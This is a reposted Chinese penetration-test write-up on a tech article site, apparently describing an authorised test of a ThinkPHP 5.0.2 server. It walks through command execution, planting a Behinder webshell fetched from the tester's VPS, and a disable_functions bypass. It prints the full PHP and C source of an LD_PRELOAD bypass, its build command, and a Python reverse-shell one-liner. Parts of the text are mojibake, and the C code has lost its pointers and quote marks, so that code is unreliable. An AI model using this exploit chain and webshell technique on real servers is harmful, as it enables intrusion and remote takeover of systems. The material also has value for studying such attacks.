溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何解決ThinkPHP引發(fā)的bypass_disable_functions

發(fā)布時間:2021-10-18 11:02:29 來源:億速云 閱讀:415 作者:柒染 欄目:網(wǎng)絡(luò)安全

本篇文章給大家分享的是有關(guān)如何解決ThinkPHP引發(fā)的bypass_disable_functions,小編覺得挺實用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

一次授權(quán)測試中,發(fā)現(xiàn)網(wǎng)站是ThinkPHP 5.0.2搭建的

如何解決ThinkPHP引發(fā)的bypass_disable_functions

漏洞存在ThinkPHP 5.0.2 命令執(zhí)行

如何解決ThinkPHP引發(fā)的bypass_disable_functions

嘗試寫入冰蝎3.0的馬

如何解決ThinkPHP引發(fā)的bypass_disable_functions

汰,寫入報錯發(fā)現(xiàn)是&的問題。將&url編碼。再次嘗試

如何解決ThinkPHP引發(fā)的bypass_disable_functions

鏈接失敗。

經(jīng)過本地嘗試,發(fā)現(xiàn)是+的問題,再寫入后,將+變?yōu)榱丝崭?。將其url編碼,再次寫入

鏈接發(fā)現(xiàn)失敗,繼續(xù)肝。

如何解決ThinkPHP引發(fā)的bypass_disable_functions

除了寫入,還可以使用PHP中的copy函數(shù),在vps上開啟服務(wù),將vps的馬子,直接下載至目標(biāo)服務(wù)器

如何解決ThinkPHP引發(fā)的bypass_disable_functions

鏈接成功,接下來肯定是whoami一下。

如何解決ThinkPHP引發(fā)的bypass_disable_functions

查看disable_functions,發(fā)現(xiàn)是可愛的寶塔禁用了passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru

還有啥是寶塔不能禁的。。。還能怎么辦,接著肝,在網(wǎng)上學(xué)習(xí)了大佬的帖子

https://www.meetsec.cn/index.php/archives/44/

嘗試?yán)肔D_PRELOAD繞過disable_functions

直接上代碼

bypass_disablefunc.php

<?php

echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];

$out_path = $_GET["outpath"];

$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";

echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];

putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);

?>

bypass_disablefunc.c

#define _GNU_SOURCE

#include stdlib.h

#include stdio.h

#include string.h

extern char environ;

__attribute__ ((__constructor__)) void preload (void)

{

get command line options and arg

const char cmdline = getenv(EVIL_CMDLINE);

unset environment variable LD_PRELOAD.

unsetenv(LD_PRELOAD) no effect on some

distribution (e.g., centos), I need crafty trick.

int i;

for (i = 0; environ[i]; ++i) {

if (strstr(environ[i], LD_PRELOAD)) {

environ[i][0] = '0';

}

}

executive command

system(cmdline);

}

用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 將 bypass_disablefunc.c 編譯為共享對象 bypass_disablefunc_x64.so:

要根據(jù)目標(biāo)架構(gòu)編譯成不同版本,在 x64 的環(huán)境中編譯,若不帶編譯選項則默認(rèn)為 x64,若要編譯成 x86 架構(gòu)需要加上 -m32 選項。

通過冰蝎上傳,然后測試效果:

如何解決ThinkPHP引發(fā)的bypass_disable_functions

命令執(zhí)行成功。Nc反彈shell

如何解決ThinkPHP引發(fā)的bypass_disable_functions

提示沒有-e的參數(shù),直接使用python反彈

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

如何解決ThinkPHP引發(fā)的bypass_disable_functions

反彈成功

總結(jié):這次的測試,寫入冰蝎的過程要注意編碼問題。然后就是利用LD_PRELOAD繞過disable_functions。

以上就是如何解決ThinkPHP引發(fā)的bypass_disable_functions,小編相信有部分知識點可能是我們?nèi)粘9ぷ鲿姷交蛴玫降?。希望你能通過這篇文章學(xué)到更多知識。更多詳情敬請關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI